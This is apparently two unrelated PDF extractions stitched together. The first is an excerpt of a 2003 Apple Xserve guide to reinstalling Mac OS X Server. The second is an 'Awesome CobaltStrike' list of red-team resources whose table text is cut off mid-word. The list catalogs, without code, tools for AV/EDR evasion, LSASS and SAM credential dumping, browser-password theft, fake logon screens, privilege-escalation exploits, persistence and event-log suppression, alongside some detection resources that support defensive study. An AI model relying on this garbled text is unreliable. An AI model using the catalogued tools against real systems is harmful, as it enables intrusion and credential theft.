www.apple.com/xserve
This site provides information about your server hardware and optional features.
m
www.apple.com/server
Check this site for documents that provide useful background on setting up and using the
server, including:
15
m
Understanding and Using NetInfo, which describes the built-in Mac OS X directory
service and provides instructions for configuring NetInfo and Mac OS X Server
m Integrating Mac OS X With Active Directory, which describes how you can use the
information stored in Microsoft’s Active Directory to authenticate Macintosh users and
provide file services and home directories for them on Mac OS X Server
m Upgrading to Mac OS X Server, which contains guidelines for migrating data and
settings being used on existing servers
Software Update for Xserve
Depending on the software version installed on your Xserve system, you may need to
download and install a software update. You can get automatic software updates by using the
software update command-line tool (when logged in remotely as “root”). This procedure lists
any available updates for your system; you can choose the appropriate update. See the
Mac OS X Server documentation for additional information.
For best performance, keep your system current with the latest software updates.
Installing or Restoring Software on Your Xserve System
Mac OS X Server is preinstalled on the drive module of your Xserve system. If the software
has a problem or you need to reinstall or restore the server software, you can use one of
several methods to complete installation.
All of these installation methods involve using a remote computer or another Xserve system.
Note: For any method that uses command-line tools, you must be logged in as root.
The installation methods include:
m Removing the drive module from your Xserve system and using another Xserve system
that has an optical drive to install the software on that drive module
m Starting up from an external FireWire optical drive that has the Mac OS X Server install
disc in it
m Putting the Xserve system in target disk mode and connecting a PowerBook, iBook, or
other Mac by means of a FireWire port on the Xserve system
m Installing the software over the network, using a NetBoot image or using the command-
line tool Apple Software Restore (asr)
Important Remote installation of Mac OS X Server erases the target volume. Be sure to
back up other information on that volume.
16
Using a Second Xserve System to Install Server Software
This is a simple method for installing or restoring software, but you must have a second
Xserve system with an optical drive to do it. You can install software with a second system
using either of these methods:
m The Terminal application and command-line tools
m Server Assistant
To use a second Xserve system and command-line tools:
1
Shut down your Xserve system and remove its drive module.
2
On a second Xserve system, unmount and remove one of the drive modules (or a blank
module) and insert the drive module from your system.
Note: You should not remove the startup drive module from the second system.
3
Insert the server install CD that came with your Xserve system in the second system’s optical
drive.
4
Use an administrator computer to log in to the second system as root.
See Chapter 17, “Tools for Advanced Administrators,” in the Mac OS X Server
Administrator’s Guide for more information about using command-line tools with the
Terminal application.
5
As the root user type the following command:
% installer
-pkg /Volumes/Mac\OS\X\Server\Install\CD/System/Installation/
Packages/OSInstall.mpkg
-target /Volumes/<the name of the disk to be restored>
-lang <English, Japanese, German or French>
6
While still logged in as root, open System Preferences on the second Xserve system and
select the original startup volume for that system.
You must change the startup disk because the remote installation set the drive you inserted
into the second system as its startup disk.
7
Unmount the volume on which you just restored the software.
8
Remove the drive module with the restored software from the second system, put it in your
Xserve system, and restart the system.
9
Replace the drive module or the blank module you removed from the second Xserve system
and restart that system.
17
To use a second Xserve system and Server Assistant:
1
Shut down your Xserve system and remove its drive module.
2
On a second Xserve system, unmount and remove one of the drive modules (or a blank
module) and insert the drive module from your system.
Note: You should not remove the startup drive module from the second system.
3
Insert the server install CD that came with your Xserve system in the second system’s optical
drive.
4
Restart the second Xserve system from the server install CD using one of these procedures:
m If the system has a tray-loading optical drive, hold in the system identifier button as you
press the power button. Continue holding in the system identifier button until the drive
tray opens. Insert the server install disc and close the tray.
m If the system has a slot-loading optical drive, use the front panel mode to start up from
the optical drive. See “Using Front Panel Mode on an Xserve System” on page 19 for
instructions; use light 1.
5
Do one of the following:
m Use Server Assistant on a remote computer to install the software on the drive module
from your Xserve system. (See “Remote Installation” in Chapter 1 of Getting Started With
Mac OS X Server for details.)
m If you have a monitor and keyboard available for the second Xserve, double-click “Install
Mac OS X Server.”
When software installation is complete, the second system will restart.
6
Quickly remove your drive module from the second system before that system finishes
starting up.
7
Insert the drive module in your Xserve system and start it up.
8
Use the administration tools on a remote computer to finish setting up your server.
Starting Up From an External FireWire Optical Drive
If you have an external optical drive with a FireWire port, you can use it to start up your
Xserve system from the Mac OS X Server install disc. Once you’ve started up from the
external drive, you can use Server Assistant on a remote computer to install the software.
To start up from an external optical drive:
1
Shut down your Xserve system.
2
Press the handle of the drive module to open it, which assures that the drive won’t be
recognized during startup.
3
Connect the external optical drive to the FireWire port on the system’s front panel.
18
4
Turn on the optical drive and insert the server install disc.
5
Start up your Xserve system.
After a few moments, the system begins starting up from the disc in the optical drive.
6
When you hear the disc in the optical drive beginning to start up the system, press the
handle on the drive module to close it.
The drive module must be recognized as the system starts up so that you can install the
server software on it.
7
Use Server Assistant on a remote computer to install the software on the drive module in
your Xserve system. (See “Remote Installation” in Chapter 1 of Getting Started With
Mac OS X Server for details.)
8
Unmount the volume on which you just installed the software.
9
Turn off the system by holding in the power button for 5 seconds.
Connecting Another Mac With the Xserve System in Target Disk Mode
You can also connect a PowerBook, iBook, Xserve, or other Mac directly to your Xserve
system. The computer you connect must have a FireWire port and an optical drive, and the
Xserve system must be in target disk mode.
Note: The default name of the server’s startup volume is Server HD. If you connect another
server to your Xserve system, you may want to change the name of its startup volume
temporarily to avoid having two disks with that name when you want to install.
To put your system into target disk mode and connect a Mac to it:
1
Remove any FireWire devices that are connected to the Xserve system.
2
Use the front panel mode to put the system into target disk mode. See “Using Front Panel
Mode on an Xserve System” on page 19 for instructions; use light 5.
3
Connect a PowerBook, iBook, or other Mac to the FireWire port on the system’s front panel.
4
Turn on the connected computer and insert the server install disc.
The Xserve system’s drive or volumes mount on the connected computer.
5
Begin the installation process from the server install disc and install on the mounted volume
of your installation drive.
Note: You can use either Server Assistant or the Terminal application and command-line
tools to control the installation.
See Chapter 17, “Tools for Advanced Administrators,” in the Mac OS X Server
Administrator’s Guide for more information about using command-line tools with the
Terminal application.
19
Using Front Panel Mode on an Xserve System
Xserve systems with a slot-loading optical drive have a method of entering limited commands
using the system identifier button on the front panel.
To use any of the available boot commands (listed after step 3):
1
With the power off, hold in the system identifier button while you press the power button.
2
Continue holding in the system identifier button until the top row of blue lights blinks
sequentially and the rightmost light in the bottom row turns on.
3
Release the system identifier button, then press it again to light the next button in the
bottom row, moving from right to left. Press the button again to change lights.
The lights in the bottom row indicate (from right to left):
m Light 1 (far right): Start up from the system disc (on models with an optical drive)
m Light 2: Start up from a network server (NetBoot)
m Light 3: Start up from the internal drive
m Light 4: Bypass the current startup disk and start up from any other available startup disk
m Light 5: Begin target disk mode (all volumes will show up)
m Light 6: Restore the system’s default settings (reset NVRAM)
m Light 7: Enter Open Firmware (via the serial port if no monitor and keyboard are
connected)
4
When the light for the action you want is on, hold in the system identifier button for at least
2 seconds, until all lights in the top row are on.
5
Release the button.
Installing and Restoring from a Network Server
You can use a remote computer to install server software on one system or on many systems.
Two methods that are especially useful for installations on multiple Xserve systems are
Network Install and the Apple Software Restore (asr) command.
For more information about using command-line tools, see Chapter 17, “Tools for Advanced
Administrators,” in the Mac OS X Server Administrator’s Guide. For details on starting up or
installing over the network, see Chapter 12, “NetBoot,” and Chapter 13, “Network Install,” in
the Mac OS X Server Administrator’s Guide.
© 2003 Apple Computer, Inc. All rights reserved. Apple, the Apple logo, FireWire, the FireWire logo, iBook, Mac,
Mac OS, Macintosh, PowerBook, and QuickTime are trademarks of Apple Computer, Inc., registered in the U.S. and
other countries. Xserve is a trademark of Apple Computer, Inc.
034-2262-A
Printed in U.S.A. | pdf |
Awesome CobaltStrike awesome
awesome cobaltstrike
cobaltstrike awesome
awesome community
community
Contents
0x00 Introduction
0x01 Articles & Videos
1. Basic Knowledge
2. Crack and Customisation
3. Useful Trick
4. CobaltStrike Hide
5. CobaltStrike Analysis
6. CobaltStrike Video
0x02 C2 Profiles
0x03 BOF
0x04 Aggressor Script
0x05 Related Tools
0x06 Related Resources
0x00 Introduction
1. The first part is a collection of quality articles about CobaltStrike
2. The third part is about the integration of the new features BOF resources
3. This project is to solve the problem of not finding the right aggressor script or BOF when it is
needed
4. If there is quality content that is not covered in this repo, welcome to submit pr
0x01 Articles & Videos
1. Basic Knowledge
1. Cobalt_Strike_wiki
2. Cobalt Strike Book
3. CobaltStrike4.0
4. CobaltStrike
5. Cobalt Strike C2
6. Cobalt Strike
7. Cobalt Strike & MetaSploit
8. Cobalt-Strike-CheatSheet
9. Cobalt Strike MITRE TTPs
10. Red Team Operations with Cobalt Strike (2019)
2. Crack and Customisation
1. IntelliJ-IDEAcobaltstrike
2. CobaltStrike
3. Cobal Strike OneLiner
4. DLL
5. Cobalt Strike Aggressor Script
6. Cobalt Strike Aggressor Script
7. Implementing Syscalls In The Cobaltstrike Artifact Kit
8. Cobalt Strike 4.0
9. ReflectiveDLLInjectionCobaltStrike
10. Bypass cobaltstrike beacon config scan
11. Tailoring Cobalt Strike on Target
12. COFFLOADER: BUILDING YOUR OWN IN MEMORY LOADER OR HOW TO RUN BOFS
13. Yet Another Cobalt Strike Stager: GUID Edition
14. Cobalt Strike4.3
15. Cobalt Strike Syslog
3. Useful Trick
1. Cobalt Strike Spear Phish
2. run CS in win -- teamserver.bat
3. Remote NTLM relaying through CS -- related to CVE_2018_8581
4. Cobalt Strike Convet VPN
5. CS3.14
6. CobaltStrikeshellcode
7. CS-notes--CS
8. Cobalt Strike Linux
9. Cobalt Strike Listener with Proxy
10. Cobalt Strike Convet VPN
11. CS 4.0 SMB Beacon
12. Cobalt Strike
13. Cobalt Strike Bypass UAC
14. Cobalt StrikeExternalC2
15. Cobalt StrikeExternalC2
16. Cobalt Strikeexternal_C2
17. A tale of .NET assemblies, cobalt strike size constraints, and reflection
18. AppDomain.AssemblyResolve
19. webshell
20. Cobalt Strike BOF
21. Using Direct Syscalls in Cobalt Strike's Artifact Kit
22. Cobalt Strike Staging and Extracting Configuration Information
4. CobaltStrike Hide
1. CobaltStrike
2. CS + Powershell
3. Cobalt Strike
4. :C2 server
5. Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite
6. cobalt strike malleable C2
7. A Brave New World: Malleable C2
8. How to Write Malleable C2 Profiles for Cobalt Strike
9. Randomized Malleable C2 Profiles Made Easy
10. CobaltStrikeStager
11. Beacon Stager listener
12. Cobaltstrike
13. cs bypass
14. cs bypass 2
15. Cobalt Strike – Bypassing C2 Network Detections
16. Cobalt Strike
17. Cobalt Strike CDN
5. CobaltStrike Analysis
1. Volatility Plugin for Detecting Cobalt Strike Beacon. blog|Toolset
2. Cobalt Strike
3. cobaltstrike c2
4. Small tool to decrypt a Cobalt Strike auth file
5. Cobalt Strike ExternalC2
6. Detecting Cobalt Strike Default Modules via Named Pipe Analysis
7. CobaltStrike Beacon Staging Server
8. Striking Back at Retired Cobalt Strike: A look at a legacy vulnerability
9. Analyzing Cobalt Strike for Fun and Profit
10. Cobalt Strike Remote Threads detection
11. The art and science of detecting Cobalt Strike
12. A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers
13. How to detect Cobalt Strike activities in memory forensics
14. Detecting Cobalt Strike by Fingerprinting Imageload Events
15. The Anatomy of an APT Attack and CobaltStrike Beacon’s Encoded Configuration
16. CobaltStrike - beacon.dll : Your No Ordinary MZ Header
17. GitHub-hosted malware calculates Cobalt Strike payload from Imgur pic
18. Detecting Cobalt Strike beacons in NetFlow data
19. Volatility Plugin for Detecting Cobalt Strike Beacon
20. Easily Identify Malicious Servers on the Internet with JARM
21. Cobalt Strike Beacon Analysis
22. Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike
23. Attackers Exploiting WebLogic Servers via CVE-2020-14882 to install Cobalt Strike
24. Hiding in the Cloud: Cobalt Strike Beacon C2 using Amazon APIs
25. Identifying Cobalt Strike team servers in the wild
26. Multi-stage APT attack drops Cobalt Strike using Malleable C2 feature
27. Operation Cobalt Kitty
28. Detecting and Advancing In-Memory .NET Tradecraft
29. Analysing Fileless Malware: Cobalt Strike Beacon
30. IndigoDrop spreads via military-themed lures to deliver Cobalt Strike
31. Cobalt Group Returns To Kazakhstan
32. Striking Back at Retired Cobalt Strike: A look at a legacy vulnerability
33. Azure Sentinel Quick-Deploy with Cyb3rWard0g’s Sentinel To-Go – Let’s Catch Cobalt
Strike!
34. Cobalt Strike stagers used by FIN6
35. Malleable C2 Profiles and You
36. C2 Traffic patterns including Cobalt Strike
37. Cobalt Strike DNS Direct Egress Not That Far Away
38. Detecting Exposed Cobalt Strike DNS Redirectors
39. Example of Cleartext Cobalt Strike Traffic
40. Cobaltstrike-Beacons analyzed
41. DNSCobalt Strike
42. Detecting Cobalt Strike with memory signatures
43. CobaltStrikehost
44. CobaltStrike
45.
6. CobaltStrike Video
1. Malleable Memory Indicators with Cobalt Strike's Beacon Payload
2. STAR Webcast: Spooky RYUKy: The Return of UNC1878
3. Excel 4.0 Macros Analysis - Cobalt Strike Shellcode Injection
4. Profiling And Detecting All Things SSL With JA3
0x02 C2 Profiles
Type
Name
Description
Popularity
Language
ALL
Malleable-C2-
Profiles
Official Malleable C2 Profiles
stars
stars 952
952
language
language none
none
This script randomizes Cobalt
ALL
Malleable-C2-
Randomizer
Strike Malleable C2 profiles
through the use of a
metalanguage
stars
stars 335
335
python
python 100.0%
100.0%
ALL
malleable-c2
Cobalt Strike Malleable C2
Design and Reference Guide
stars
stars 716
716
language
language none
none
ALL
random_c2_profile
Random C2 Profile Generator
stars
stars 233
233
python
python 70.3%
70.3%
ALL
SourcePoint
SourcePoint is a C2 profile
generator for Cobalt Strike
command and control servers
designed to ensure evasion.
stars
stars 407
407
go
go 100.0%
100.0%
ALL
C2concealer
C2concealer is a command line
tool that generates randomized
C2 malleable profiles for use in
Cobalt Strike.
stars
stars 507
507
python
python 94.8%
94.8%
ALL
MalleableC2-
Profiles
A collection of Cobalt Strike
Malleable C2 profiles. now have
Windows Updates Profile
stars
stars 30
30
language
language none
none
ALL
MalleableC2-
Profiles
Cobalt Strike - Malleable C2
Profiles. A collection of profiles
used in different projects using
Cobalt Strike
stars
stars 323
323
language
language none
none
ALL
pyMalleableC2
A Python interpreter for Cobalt
Strike Malleable C2 profiles that
allows you to parse, modify, build
them programmatically and
validate syntax.
stars
stars 203
203
python
python 96.6%
96.6%
ALL
1135-
CobaltStrike-
ToolKit
Cobalt StrikeMalleable C2
stars
stars 136
136
language
language none
none
0x03 BOF
Type
Name
Description
ALL
BOF_Collection
Various Cobalt Strike BOFs
ALL
Situational Awareness BOF
Its larger goal is providing a code example and wo
others to begin making more BOF files.
ALL
bof_helper
Beacon Object File (BOF) Creation Helper
ALL
BOF-DLL-Inject
BOF DLL Inject is a custom Beacon Object File th
manual map DLL injection in order to migrate a d
process all from memory.
ALL
cobaltstrike_bofs
BOF spawns a process of your choice under a sp
parent, and injects a provided shellcode file
QueueUserAPC().
ALL
BOF-RegSave
Beacon Object File(BOF) for CobaltStrike that wil
the necessary privileges and dump SAM - SYS
SECURITY registry keys for offline parsing and
extraction.
ALL
CobaltStrike BOF
DCOM Lateral Movement; WMI Lateral Movem
Win32_Process Create; WMI Lateral Movement
Subscription
ALL
BOFs
ETW Patching; API Function Utility; Syscalls She
Injection
Dev
bof
This is a template project for building Cobalt Strike
Visual Studio.
Dev
Needle_Sift_BOF
Strstr with user-supplied needle and filename as
Dev
BOF.NET
A .NET Runtime for Cobalt Strike's Beacon Objec
Dev
beacon-object-file
The format, described by Mudge here, asks th
operator construct an COFF file using a mingw
compiler or the msvc compiler that holds an symb
indicating its entrypoint, and underlying functio
Dev
InlineWhispers
Demonstrate the ability to easily use syscalls usin
assembly in BOFs.
Dev
WdToggle
A Proof of Concept Cobalt Strike Beacon Object F
uses direct system calls to enable WDigest cred
caching and circumvent Credential Guard (if ena
Dev
Situational Awareness BOF
This Repo intends to serve two purposes. First it p
nice set of basic situational awareness comm
implemented in BOF. This allows you to perform
checks on a host before you begin executing com
that may be more invasive.
Dev
MiniDumpWriteDump
Custom implementation of DbgHelp's MiniDumpW
function. Uses static syscalls to replace low-level f
like NtReadVirtualMemory.
Dev
COFF Loader
This is a quick and dirty COFF loader (AKA Beaco
Files). Currently can run un-modified BOF's so it
used for testing without a CS agent running it. T
exception is that the injection related beacon com
functions are just empty.
Auxiliary
EnumCLR.c
Cobalt Strike BOF to identify processes with th
loaded with a goal of identifying SpawnTo / inje
candidates.
Auxiliary
FindObjects-BOF
A Cobalt Strike Beacon Object File (BOF) projec
uses direct system calls to enumerate process
specific modules or process handles.
Auxiliary
GetWebDAVStatus
Small project to determine if the Web Client se
(WebDAV) is running on a remote system by chec
the presence of the DAV RPC SERVICE named
Auxiliary
ChromeKeyDump
BOF implementation of Chlonium tool to dump C
Masterkey and download Cookie/Login Data
Auxiliary
Sleeper
BOF to call the SetThreadExecutionState funct
prevent host from Sleeping
Auxiliary
LSASS
Beacon Object File to dump Lsass memory by ob
snapshot handle. Does
MiniDumpWriteDump/NtReadVirtualMemory on S
of LSASS instad of original LSASS itself hence eva
AV/EDR.
Auxiliary
getsystem
get system by duplicating winlogon's token
Auxiliary
Silent Lsass Dump
Silent Lsass Dump
Auxiliary
unhook-bof
This is a Beacon Object File to refresh DLLs and
their hooks.
Auxiliary
Beacon Health Check
Aggressor Script
This aggressor script uses a beacon's note field to
the health status of a beacon.
Auxiliary
Registry BOF
A beacon object file for use with cobalt strike v
Supports querying, adding, and deleting keys/va
local and remote registries.
Auxiliary
InlineExecute-Assembly
InlineExecute-Assembly is a proof of concept B
Object File (BOF) that allows security professio
perform in process .NET assembly execution a
alternative to Cobalt Strikes traditional fork an
execute-assembly module
Auxiliary
CredBandit
CredBandit is a proof of concept Beacon Object F
that uses static x64 syscalls to perform a comp
memory dump of a process and send that back t
your already existing Beacon communication chan
memory dump is done by using NTFS transaction
allows us to write the dump to memory and
MiniDumpWriteDump API has been replaced w
adaptation of ReactOS's implementation o
MiniDumpWriteDump.
Auxiliary
Inject AMSI Bypass
Cobalt Strike Beacon Object File (BOF) that bypas
in a remote process with code injection.
Auxiliary
Detect-Hooks
Proof of concept Beacon Object File (BOF) that att
detect userland hooks in place by AV/EDR
Auxiliary
unhook-bof
Remove API hooks from a Beacon process
Auxiliary
whereami
Cobalt Strike "Where Am I?" Beacon Object
Auxiliary
BOFs
send_shellcode_via_pipe;cat;wts_enum_remote_p
0x04 Aggressor Script
Auxiliary
SCShell
SCShell is a fileless lateral movement tool that re
ChangeServiceConfigA to run commands
Auxiliary
LSASS Dumping With Foreign
Handles
LSASS Dumping With Foreign Handles
Auxiliary
PPLDump BOF
this is a fully-fledged BOF to dump an arbitrary p
process.(LSASS)
Auxiliary
Process Protection Level
Enumerator BOF
A Syscall-only BOF file intended to grab process p
attributes, limited to a handful that Red Team oper
pentesters would commonly be interested
Auxiliary
Toggle_Token_Privileges_BOF
AAn (almost) syscall-only BOF file intended to eith
remove token privileges within the context of you
process.
Auxiliary
Cobalt Strike BOF - Inject
ETW Bypass
Inject ETW Bypass into Remote Process via Sy
(HellsGate
Exploit
CVE-2020-0796-BOF
SMBGhost LPE
Exploit
ZeroLogon-BOF
ZeroLogon
Persistence
SPAWN
Cobalt Strike BOF that spawns a sacrificial proces
it with shellcode, and executes payload. Built to
EDR/UserLand hooks by spawning sacrificial proc
Arbitrary Code Guard (ACG), BlockDll, and PPID s
Type
Name
Description
BypassAV
BypassAV
BypassAV
BypassAV
ps2exe.ps1exe
cna
50KBexeps1
BypassAV
scrun
BypassAV ShellCode Loader (Cobaltstrike/Me
BypassAV
beacon-c2-go
beacon-c2-go (Cobaltstrike/Meta
BypassAV
C--Shellcode
python ShellCode Loader (Cobaltstrike&Met
BypassAV
Doge-Loader
Cobalt Strike Shellcode Loader by
BypassAV
CS-Loader
CS,pythonC
BypassAV
CSSG
Cobalt Strike Shellcode Generator. Generates
shellcode with exposed exit method, additio
encryption, encoding, compression, multil
BypassAV
Alaris
Alaris is a new and sneaky shellcode load
bypassing most EDR systems as of today (02
several known TTP’s that help protect the m
execution flow.
BypassAV
CarbonMonoxide
EDR Evasion - Combination of SwampThi
BypassAV
bypassAV-1
VT 6/70 defe
.
BypassAV
ScareCrow
ScareCrow is a payload creation framework
loaders for the use of side loading (not in
legitimate Windows process (bypassing Applic
controls).
BypassAV
Dent
A framework for creating COM-based byp
vulnerabilities in Microsoft's WDAPT
BypassAV
PEzor
Open-Source PE Packer.
BypassAV
FuckThatPacker
A simple python packer to easily bypass Win
BypassAV
goShellCodeByPassVT
Go-raceVT
BypassAV
HouQing
Advanced AV Evasion Tool For Red T
BypassAV
DesertFox
GolangCobaltStrikeMetas
Avast360
BypassUAC
UAC-SilentClean
This project implements a DLL planting techniq
Always Notify and execute code in a high in
BypassUAC
csload.net
A cobaltStrike Shellcode loader, can bypa
Recon
red-team-scripts
perform some rudimentary Windows host e
Beacon built-in commands
Recon
Registry-Recon
Cobalt Strike Aggressor Script that Performs
Recon.
Recon
aggressor-powerview
All functions listed in the PowerView about pa
this with all arguments for each function
Recon
PowerView3-Aggressor
PowerView Aggressor Script for CobaltStr
Recon
AggressorScripts
Sharphound-Aggressor- A user menu for th
ingestor
Recon
ServerScan
Recon
TailorScan
++ms17010
Recon
AggressiveProxy
LetMeOutSharp will try to enumerate all a
configurations and try to communicate with
server over HTTP(s) using the identified prox
Recon
Spray-AD
A Cobalt Strike tool to audit Active Directory
weak, well known or easy guessable p
Recon
Ladon
Ladon
GetShellA/B/C
Recon
Ladon for Cobalt Strike
Ladon for Cobalt Strike(
Recon
Recon-AD
Recon-AD, an AD recon tool based on ADSI an
Exploit
XSS-Fishing2-CS
cs / Automatically s
javascript after the fish is hook
Exploit
XSS-Phishing
xsscnaphp
Exploit
custom_payload_generator
CobaltStrike3.0+ --> creates various payloads
Beacon. Current payload forma
Exploit
CrossC2
CrossC2 framework - Generator CobaltStrike
beacon
Exploit
GECC
Go External C2 Client implementation for
Exploit
Cobaltstrike-MS17-010
ms17-010 exploit tool and scan
Exploit
AES-PowerShellCode
Standalone version of my AES Powershell pa
Strike.
Exploit
SweetPotato_CS
CobaltStrike4.x --> SweetPota
Exploit
ElevateKit
privilege escalation exploits
Exploit
CVE-2018-4878
CVE-2018-4878
Exploit
Aggressor-Scripts
The only current public is UACBypass, whos
found inside its associated fold
Exploit
CVE_2020_0796_CNA
ReflectiveDLLInjection
Exploit
DDEAutoCS
setup our stage(d) Web Delivery a
Exploit
geacon
Implement CobaltStrike's Beacon in Go (can
Exploit
SpoolSystem
SpoolSystem is a CNA script for Cobalt Strik
Print Spooler named pipe impersonation trick
privileges.
Exploit
CVE-2021-1675_RDL_LPE
PrintNightMare LPECS
ByPass
Persistence
persistence-aggressor-script
persistence-aggressor-scrip
Persistence
Peinject_dll
winexecshellexecute
Persistence
TikiTorch
TikiTorch follows the same concept(CACTUS
multiple types of process injection available
specified by the user at compile
Persistence
CACTUSTORCH
A JavaScript and VBScript shellcode launcher
32 bit version of the binary specified and injec
Persistence
UploadAndRunFrp
frpcfrpc
Persistence
persistence-aggressor-script
Persistence Aggressor Scrip
Persistence
AggressiveGadgetToJScript
Automate the generation of payloads using th
technique.
Persistence
FrpProPlugin
frp0.33,,,
Persistence
Automatic-permission-
maintenance
CobaltStrike
Persistence
cobalt-strike-persistence
cobalt strikeWeb Delivery
Persistence
Cobalt_Strike_CNA
WinAPICobaltStrike
Auxiliary
generate-rotating-beacon
1. Generate a beacon for a given listener; 2.
specified location;3. Monitor the weblog for
specified location;
Auxiliary
ScareCrow-CobaltStrike
A Cobalt Strike script for ScareCrow payload g
with all Loaders.
Auxiliary
AggressorScripts
CreateTicket; Seatbelt; SharpHo
Auxiliary
SharpeningCobaltStrike
In realtime compiling of dotnet v35/v40 ex
obfuscation with ConfuserEx on your linux co
Auxiliary
CS_Mail_Tip
Cobalt Strike
Auxiliary
Cobaltstrike-atexec
1354
Auxiliary
Sharp-HackBrowserData
C#HackBrowserDatacs
Auxiliary
HackBrowserData
HackBrowserData
Auxiliary
cobalt_sync
Standalone Cobalt Strike Operation Logging A
Ghostwriter 2.0+
Auxiliary
samdump
Cobalt Strike samdump
In realtime compiling of dotnet v35/v40 ex
Auxiliary
SharpeningCobaltStrike
obfuscation with ConfuserEx on your linux co
Auxiliary
SharpCompile
SharpCompile is an aggressor script for Cob
allows you to compile and execute C#
Auxiliary
Quickrundown
Utilizing QRD will allow an operator to quickly
processes are both known and unknown on a
use of colors and notes about the process
Auxiliary
NetUser
This tool achieves "net user" in Window API.
used with Cobalt Strike's execute-assembly
Auxiliary
FileSearch
C++
Auxiliary
Phant0m_cobaltstrike
This script walks thread stacks of Event Log
(spesific svchost.exe) and identify Event Lo
Event Log Service Threads. So the system w
collect logs and at the same time the Event
appear to be running.
Auxiliary
NoPowerShell
NoPowerShell is a tool implemented in C# w
executing PowerShell-like commands while rem
any PowerShell logging mechani
Auxiliary
EventLogMaster
RDP EventLog Master
Auxiliary
ANGRYPUPPY
Bloodhound Attack Path Execution for C
Auxiliary
CobaltStrike_Script_Wechat_Push
,Serve
Auxiliary
CS-Aggressor-Scripts
slack and webhooks reminde
Auxiliary
Aggressor-Scripts
surveying of powershell on targets (
powershell)
Auxiliary
cs-magik
Implements an events channel and job queu
Cobalt Strike.
Auxiliary
AggressorScripts
av
Auxiliary
Beaconator
Beaconator is an aggressor script for Coba
generate a raw stageless shellcode and pack
shellcode using PEzor.
Auxiliary
Raven
CobaltStrike External C2 for Webs
Auxiliary
CobaltStrikeParser
Python parser for CobaltStrike Beacon's
Auxiliary
fakelogonscreen
FakeLogonScreen is a utility to fake the Windo
order to obtain the user's passw
Auxiliary
SyncDog
Make bloodhound sync with cobal
Auxiliary
360SafeBrowsergetpass
360CobaltStri
Auxiliary
SharpDecryptPwd
Windwos
Navicat,TeamViewer,FileZilla,WinSCP,Xman
Xshell,Xftp)
Auxiliary
List-GitHubAssembly
Fetch a list of avaialble artifacts from the co
repo.
Auxiliary
ExecuteAssembly
ExecuteAssembly is an alternative of CS execu
with C/C++ and it can be used to Load/Inject
by; reusing the host (spawnto) process
Modules/AppDomainManager, Stomping Load
PE DOS headers, Unlinking .NET related mod
ETW+AMSI, avoiding EDR hooks via NT static
hiding imports by dynamically resolving APIs
hashing algorithm.
Auxiliary
aggrokatz
aggrokatz is an Aggressor plugin extension
which enables pypykatz to interface with the b
Auxiliary
Zipper
This CobaltStrike tool allows Red teams to co
folders from local and UNC paths. This cou
situations where large files or folders need t
After compressing a file or folder a random
created within the user temp fo
Auxiliary
CS-ServerChan
CobaltStike /
Server
Auxiliary
CS-PushPlus
PushPlus
Auxiliary
CobaltStrike Helpmsg CNA
This cna contains error messages for Win3
HRESULT defintions, and NTSTATUS definition
helpful for those operating out of linux/mac
access to the net.exe program, or as a quic
hresult/ntstatus codes without having to do
Synthesis
Erebus
CobaltStrike4.x --> Erebus CobaltStrike
Synthesis
CSplugins
CobaltStrike
Synthesis
Cobalt-Strike-Aggressor-Scripts
CobaltStrike
Synthesis
AggressorScripts
Aggressor scripts for use with Cobalt S
Synthesis
RedTeamTools
RedTeamTools for use with Cobalt
Synthesis
cobalt-arsenal
Aggressor Scripts for Cobalt Strik
Synthesis
MoveKit
The aggressor script handles payload creatio
template files for a specific execution
Synthesis
StayKit
The aggressor script handles payload creatio
template files for a specific execution
Synthesis
AggressorScripts
AggressorScripts
Synthesis
AggressorScripts
Collection of Aggressor scripts for Cobalt Strik
multiple sources
Synthesis
AggressorScripts
AggressorScripts
Synthesis
Aggressor-VYSEC
Contains a bunch of CobaltStrike Aggre
Synthesis
AggressorAssessor
AggressorAssessor
Synthesis
AggressorAssessor
AggressorAssessor
Synthesis
aggressor-scripts
Collection of Cobalt Strike Aggresso
Synthesis
cobalt strike
Synthesis
Aggressor-scripts
This is just a random collection of Aggressor S
for Cobalt Strike 3.x. (debug
Synthesis
Aggressor-Script
Collection of Aggressor Scripts for Cobalt Strik
)
Synthesis
Aggressor-Script
Aggressor Script, Kit, Malleable C2 Profiles, E
on
Synthesis
aggressor_scripts_collection
Collection of various aggressor scripts for C
awesome people. Will be sure to update this r
each person.
Synthesis
CobaltStrike-ToolKit
googlesearch.profile and script relate
Synthesis
Arsenal
Cobalt Strike 3.13 Arsenal Ki
Synthesis
cobalt-arsenal
My collection of battle-tested Aggressor Scrip
4.0+
Synthesis
aggressor_scripts
A collection of useful scripts for Cob
(powershell.cna;bot.cna;dcom_lateral_movem
Synthesis
aggressor
creating tunnels with netsh; changed default t
mcdonalds;using powershell to kill pare
Synthesis
CobaltStrikeCNA
A collection of scripts - from various source
more info.
Synthesis
AggressorScripts
Highlights selected processes from the p
beacon;Loads various aliases into beacon;sets
scripts to be used later..
Synthesis
AggressorAssessor
C2
Synthesis
AggressorCollection
Collection of awesome Cobalt Strike Aggresso
due to the authors
Synthesis
Cobaltstrike-Aggressor-Scripts-
Collection
The collection of tested cobaltstrike aggr
Synthesis
aggressorScripts
CobaltStrike AggressorScripts for t
Synthesis
Aggressor_Scripts
A compilation of Aggressor/Sleep scripts f
0x05 Related Tools
purposes that I've made.
Synthesis
cobalt_strike_extension_kit
SharpHound,SharpRDP,SharpWMI
AggressorScriptswo
Synthesis
cobaltstrike
hash dumpEverything
Synthesis
365CobaltStrike
CobaltStrike4.0
Synthesis
Cobalt-Strike
,
Synthesis
CSPlugins
Cobaltstrike
Synthesis
CobaltStrike-xor
third-party --> vnc_x86_dll and vnc
Synthesis
Z1-AggressorScripts
Cobalt Strike 3.x & 4.x
Synthesis
csplugin
PowerView
Synthesis
CSplugins
RDPpow
Synthesis
LSTAR
CS
() ()
Cxk Mimikat
Synthesis
SharpUtils
A collection of C# utilities intended to be us
Strike's execute-assembly.
Synthesis
SharpToolsAggressor
c#cs
~
Synthesis
C.Ex
CobaltStrike Plugin to start and utilize Cobalt
remotely) from within Sifter
Type
Name
Description
AntiCobaltStrike
cobaltstrike_brute
Cobalt Strike Team Server Password Brut
AntiCobaltStrike
CobaltSpam
Cobalt Strike Team Server Password Brut
AntiCobaltStrike
CobaltStrikeDos
CVE-2021-36798 Exp: Cobalt Strike < 4
AntiCobaltStrike
CS_mock
cobalt strike beacon
AntiCobaltStrike
CobaltStrikeScan
Scan files or process memory for Coba
beacons and parse their configurat
AntiCobaltStrike
